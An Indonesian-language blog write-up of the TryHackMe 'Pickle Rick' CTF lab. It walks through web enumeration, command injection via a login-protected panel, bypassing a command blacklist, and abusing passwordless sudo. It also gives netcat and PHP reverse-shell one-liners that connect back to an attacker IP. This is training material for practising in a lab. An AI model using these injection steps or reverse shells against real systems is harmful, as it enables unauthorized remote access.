Pickle Rick CTF — TryHackMe untuk Pemula

Ismail Hakim
Cyberkarta
Published in
9 min readJan 13, 2021
https://tryhackme.com/room/picklerick
https://tryhackme.com/room/picklerick

CTF (Capture the Flag) kali ini, bertemakan serial kartun dewasa Rick and Morty. Rick Sanchez adalah seorang ilmuwan gila yang lagi-lagi berubah menjadi pickle (acar). Rick membutuhkan bantuanmu (sebagai Morty, cucunya) untuk berubah kembali menjadi manusia. Caranya adalah dengan memberikan 3 bahan untuk membuat campuran obat yang listnya bisa didapatkan dari server web milik Rick. Masalahnya, karena Rick berubah jadi acar, dia tidak bisa mengaksesnya sendiri atau dia benar-benar lupa passwordnya?

Analisis CTF

CTF kali ini cukup unik, karena mengangkat tema yang lumayan lucu. Jujur saja, saya jadi lumayan mengikuti Rick and Morty karena CTF kali ini. Saat mengakses link https://tryhackme.com/room/picklerick, kamu langsung dihadapkan 3 pertanyaan tentang bahan yang dibutuhkan supaya Rick dapat kembali menjadi manusia.

Masukkan 3 bahan supaya Rick dapat kembali menjadi manusia
Masukkan 3 bahan supaya Rick dapat kembali menjadi manusia

CTF ini ditujukan untuk web penetration tester pemula, walaupun CTF ini bertemakan web, kemampuan linux kamu juga akan diuji di sini.

Cara Mengakses

Kamu dapat mengakses CTF ini dengan gratis, namun tetap butuh login untuk mengaksesnya. Apabila kamu berlangganan TryHackMe, biasanya proses deployment mesin menjadi lebih cepat. Sebelum kamu dapat mengakses alamat IP mesin yang telah di-deploy, untuk alasan keamananmu, pastikan terkoneksi dengan OpenVPN TryHackMe(https://tryhackme.com/room/openvpn) atau dengan menggunakan attack box (https://tryhackme.com/room/tutorial).

Sekedar informasi, kalau melakukan scanning/enumeration menggunakan attack box dari TryHackMe, hasilnya akan keluar jauh lebih cepat dibandingkan dengan metode OpenVPN.

Jika kamu tidak berencana menggunakan Kali Linux, kamu juga bisa menginstall beberapa tools pada Kali Linux di dalam OS favorit kamu, Google is your power.

Kalau sudah ready, ayo kita ambil 3 bahan buat si acar.

Bahan yang Pertama

Karena ini merupakan web CTF, langsung saja buka browser dan masukkan alamat IP mesin. Kamu akan melihat halaman depan dari web.

Halaman depan web Rick
Halaman depan web Rick

Setelah mendarat di halaman depan, klik kanan di halaman tersebut dan pilihlah View Page Source. Di halaman tersebut, tertampil sebuah komentar yang berisi username R1ckRul3s, ini adalah temuan yang bagus, yang dibutuhkan sekarang adalah password dan halaman login.

Dirb

Link menuju konten tidak tersedia bukan berarti web tersebut tidak ada konten. Untuk mencari password atau halaman login dari akun R1ckRul3s, kamu membutuhkan tool bernama dirb yang dapat digunakan untuk melakukan scanning terhadap konten-konten yang ada pada web. Tool ini membutuhkan daftar kata(wordlist) yang nantinya dicoba untuk digabungkan dengan URL. Sebagai tambahan, dirb merupakan bawaan dari Kali Linux(tanpa perlu install). Cara penggunaan tool ini adalah sebagai berikut.

dirb http://<IP_address> <wordlist>

Silakan sesuaikan alamat IP dengan alamat IP mesin kamu. Untuk wordlist, saya menggunakan common.txt yang merupakan bawaan dari dirb yang berada pada folder /usr/share/wordlists/dirb/common.txt. Jika pada mesin saya, perintah yang dimasukkan adalah:

dirb http://<IP_address>/ /usr/share/wordlists/dirb/common.txt

Temuan dari dirb
Temuan dari dirb

Robots.txt

Pada path http://ip_address/assets tidak terlihat hal yang menarik. Yang cukup mencolok di sini adalah keberadaan robots.txt. Robots.txt ini sering digunakan sebagai list untuk mencegah indexing oleh search engine (contoh: Google). Intinya admin web tidak ingin isi dari robots.txt masuk ke dalam pencarian search engine. Sebagai hacker, justru isi dari robots.txt ini adalah file yang menarik karena berisi path yang dirahasiakan oleh admin web, misal lokasi admin panel.

akses ke: http://<IP_address>/robots.txt dan catat isinya.

Kalau kita mencoba mengakses http://<IP_address>/Wubbalubbadubdub, kita tidak mendapatkan halaman login.

Nikto

Nikto adalah sebuah tool bawaan Kali Linux untuk melakukan web vulnerability assessment. Nikto sendiri sudah memiliki database yang cukup lengkap untuk mendeteksi kelemahan dari sebuah web.

nikto -h http://<IP_address>

Hasil dari nikto
Hasil dari nikto

Hasil dari nikto menunjukkan kembali keberadaan robots.txt pada server dan adanya login.php yang kemungkinan besar adalah lokasi halaman login.

akses ke: http://<IP_address>/login.php

Sebagai pengingat, bahwa sebelum ini, username sudah diketahui melalui view page source dan lokasi login sudah didapatkan dengan bantuan Nikto. Sebelum melakukan bruteforce, ada baiknya untuk mencoba isi dari robots.txt sebagai password.

Login ke akun R1ckRul3s
Login ke akun R1ckRul3s

Ternyata memang benar password dari R1ckRul3s adalah isi dari robots.txt. Di dalam akun tersebut, terdapat sebuah Command Panel yang mana bisa di injeksi perintah-perintah Linux. Di dalam Rick Portal ini juga, terdapat beberapa link navigasi, namun apabila ditelusuri link tersebut mengarah ke denied.php dan gambar acar, tanpa adanya HTTP redirection. Artinya, bahan-bahan untuk mengembalikan Rick menjadi manusia kemungkinan besar hanya bisa diakses melalui Command Panel.

Command Injection

Perintah pertama yang dimasukkan adalah pwd untuk melihat lokasi folder. Lokasi folder saat ini berada pada default web root pada Apache, yaitu /var/www/html. Kalau ingin dicoba, kamu tidak bisa mengubah lokasi folder aktif menuju folder yang lainnya dengan perintah cd.

Perintah 1: pwd
Perintah 1: pwd

Yang kedua, ada anggapan bahwa lokasi bahan yang pertama berada pada web root, namun lokasinya tersembunyi, karena menggunakan karakter khusus. Kamu dapat mencarinya dengan memasukkan perintah ls.

Perintah 2: ls
Perintah 2: ls

Yap benar, ada 2 file yang mencolok di sana, yaitu file Sup3rS3cretPickl3Ingred.txt dan clue.txt. File yang pertama berisi bahan pertama dan file yang kedua berisi petunjuk lokasi bahan kedua. Sebenarnya, kamu bisa menggunakan cat untuk membaca file, namun perintah cat ternyata di-blacklist, sehingga kamu harus menggunakan perintah lainnya untuk membaca file. Coba gunakan head atau tail kalau bisa :P .

Metode yang saya gunakan adalah membacanya melalui browser, karena file yang dibaca masih di dalam folder web root.

akses ke: http://<IP_address>/Sup3rS3cretPickl3Ingred.txt (lokasi bahan pertama)

dan akses ke: http://<IP_address>/clue.txt (petunjuk lokasi bahan kedua)

Bahan yang Kedua

Berdasarkan isi dari clue.txt, bahan yang kedua kemungkinan berada pada folder lain di dalam server. Ada baiknya untuk melihat user yang dimiliki saat ini dan mencoba apakah kamu memiliki privilege untuk membaca folder root dengan perintah id dan ls /. Ternyata kamu saat ini menggunakan user www-data dan untungnya dapat melihat konten di luar web root folder.

Perintah 3: id
Perintah 3: id
Perintah 4: ls /
Perintah 4: ls /

Perintah Find

Kamu akan mencari sebuah file di dalam Linux, tanpa adanya user interface. Ada baiknya untuk menggunakan tools seperti locate atau find. Karena perintah locate juga masuk ke dalam daftar blacklist, perintah find menjadi pilihan utama.

find / -type f -name second* 2>/dev/null

Penjelasan:

  1. Mencari dengan perintah find
  2. / = dimulai dari lokasi root folder (/)
  3. -type f = menandakan bahwa yang dicari adalah sebuah file
  4. -name second* = menandakan bahwa yang dicari memiliki awalan second, tanda * merupakan wild card yang artinya apapun karakter setelah kata second, masukkan ke dalam hasil pencarian.
  5. 2>/dev/null = perintah find yang dimulai dari root folder akan menghasilkan banyak sekali error, mengingat privilege yang dimiliki saat ini. Parameter ini akan membuang error message supaya tidak tertampil pada terminal.

Ketika dimasukkan, perintah ini akan menghasilkan 2 output yaitu file second ingredients dan secondary-init-script. Easy guess.

Perintah 5: find
Perintah 5: find

Membaca File

Ada beberapa perintah untuk membaca file yang terkena blacklist di web ini. Listnya sebagai berikut:

  1. cat
  2. head
  3. tail
  4. more

Kamu juga tidak mungkin menggunakan kolom URL, karena file tersebut sudah jauh di luar web root folder. Oleh karena itu, kamu bisa menggunakan perintah lain untuk membaca file. Perlu diingat bahwa file “second ingredients” mengandung spasi, artinya kita harus menggunakan escape character atau backslash (second\ ingredients) atau bisa juga dengan mengapitnya dengan tanda petik (“second ingredients”).

Karena kamu tidak dapat mengganti folder dengan perintah cd, kamu harus memasukkan absolute path(“/home/rick/second ingredients”). List perintah yang dapat digunakan adalah sebagai berikut:

  1. less “/home/rick/second ingredients”
  2. strings “/home/rick/second ingredients”
  3. sed 1p “/home/rick/second ingredients”

Sebenarnya ada ratusan perintah ditambah parameter berbeda yang dapat menggantikan cat untuk membaca file. Eksplor sendiri ya :P .

Bahan yang Ketiga

Bahan ketiga memang cukup tricky, karena tidak ada petunjuk sama sekali. Perintah find dengan mencoba parameter third, 3rd, 3*, dan *th* juga tidak membuahkan hasil. Saya menduga kuat bahwa lokasinya berada di dalam /root/ yang mana tidak dapat dibaca oleh non-root user. Awalnya saya mengira cara satu-satunya adalah melakukan privilege escalation dari www-data ke root dengan mengeksploitasi Apache versi 2.4.18[Ubuntu] pada server. Tapi mengingat ini adalah CTF pemula, maka saya mencari pencerahan lain.

Hasilnya cukup menggembirakan karena ternyata user www-data sudah dapat menggunakan perintah sudo tanpa harus memasukkan password. Sudo pada Linux digunakan untuk mengeksekusi perintah dengan privilege tertinggi pada linux(root). Beberapa sistem membatasi usernya supaya tidak bisa menggunakan sudo, atau hanya untuk beberapa perintah saja. Namun tidak pada kasus kali ini.

sudo -l

perintah 6: sudo -l , www-data dapat menggunakan sudo tanpa password
perintah 6: sudo -l , www-data dapat menggunakan sudo tanpa password

Kemudian kamu dapat mencoba melihat home root folder pada /root/ dengan menggunakan menggunakan perintah sudo ls. Kamu telah mendapatkan lokasi bahan ketiga.

sudo ls /root/

perintah 7: sudo ls /root/
perintah 7: sudo ls /root/

Bahan yang ketiga juga masih mendapat perlakuan yang sama, dimana terdapat blacklist perintah cat. Sehingga kamu dapat menggunakan perintah lain pada list di atas dengan menambahkan sudo.

sudo less /root/3rd.txt

Perintah 8: sudo less /root/3rd.txt
Perintah 8: sudo less /root/3rd.txt

Fiuh, tiga bahan sudah didapatkan. Saatnya melaporkan ke formulir pada https://tryhackme.com/room/picklerick. Kamu telah berhasil membuat Rick si ilmuwan gila kembali menjadi manusia.

P.S. udah dibantu juga, Rick bakal berubah jadi acar lagi.

Bonus

Reverse Shell

Saat melihat bahwa terdapat command injection vulnerability kamu sebenarnya dapat mencoba untuk menggunakan netcat atau nc. Teknik ini dinamakan reverse shell di mana target diminta menyerahkan terminalnya(shell) kepada penyerang secara remote. Teknik ini dipermudah apabila target sudah menginstall netcat sebelumnya. Untuk menggunakan reverse shell, perlu adanya komputer penyerang yang mendengarkan koneksi dan injeksi perintah kepada target untuk memulai koneksi.

Reverse Shell
  1. Pada penyerang: nc -lnvp 4444
  2. Pada target: nc <IP_penyerang> 4444 -e /bin/sh

Penjelasan:

  1. Pastikan pada sisi penyerang perintah sudah dijalankan sebelum target mencoba terhubung.
  2. nc = perintah netcat, kamu juga bisa menggunakan versi panjangnya (netcat -lvp 4444).
  3. -l = memerintahkan netcat untuk mendengarkan di port 4444.
  4. -n = memerintahkan netcat untuk tidak melakukan DNS lookup.
  5. -v = memerintahkan netcat untuk bekerja secara verbose, atau menandakan apabila terdapat koneksi masuk.
  6. -p 4444 = memerintahkan netcat untuk beroperasi pada port 4444.
  7. -e /bin/sh = pada sisi target, memerintahkan netcat untuk mengemulasikan shell kepada penyerang

Pada kasus ini, perintah netcat juga terkena blokir. Walaupun perintah nc, yang merupakan nama lain dari netcat tidak terkena blacklist, pada saat dicoba, ternyata juga tidak tembus.

Pada komputer penyerang: nc -lnvp 4444 ,
Pada komputer penyerang: nc -lnvp 4444 ,
Pada target: nc <IP_penyerang> 4444 -e /bin/sh
Pada target: nc <IP_penyerang> 4444 -e /bin/sh

Karena back end web tersebut berbasis php(dari penggunaan login.php sebagai lokasi login Rick), pastinya di server sudah terinstall PHP. Hal ini dapat dipastikan kembali dengan which php.

Memastikan keberadaan PHP pada server
Memastikan keberadaan PHP pada server

Agar PHP pada server dapat membuka koneksi ke komputer kamu, maka masukkan perintah di bawah ini.

php -r ‘$sock=fsockopen(“10.0.0.1”,4242);$proc=proc_open(“/bin/sh -i”, array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);’

Perintah PHP untuk membuka koneksi ke listener
Perintah PHP untuk membuka koneksi ke listener

Akhirnya, web server milik Rick berhasil berkomunikasi dengan terminal milikmu. Pada shell yang dibuat ini, kamu juga bisa menggunakan perintah cat untuk membaca file karena blacklist perintah yang dilakukan admin web hanya pada input dari web service saja(kemungkinan diimplementasi di PHP atau Javascript).

Berhasil masuk ke dalam web server milik Rick
Berhasil masuk ke dalam web server milik Rick
Menggunakan perintah cat setelah reverse shell berhasil
Menggunakan perintah cat setelah reverse shell berhasil

Sebagai penutup, apabila terdapat command injection vulnerability, ada baiknya untuk menggunakan perintah-perintah yang lebih kalem, seperti id ataupun whoami sebagai bukti(proof-of-concept) dan segera melaporkan kepada administrator web. Jangan sampai membuka koneksi dengan reverse-shell apalagi mengeksploitasinya.

Terimakasih sudah membaca, semoga membantu.

Sumber :

https://tryhackme.com/room/picklerick

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#bash-tcp

--

--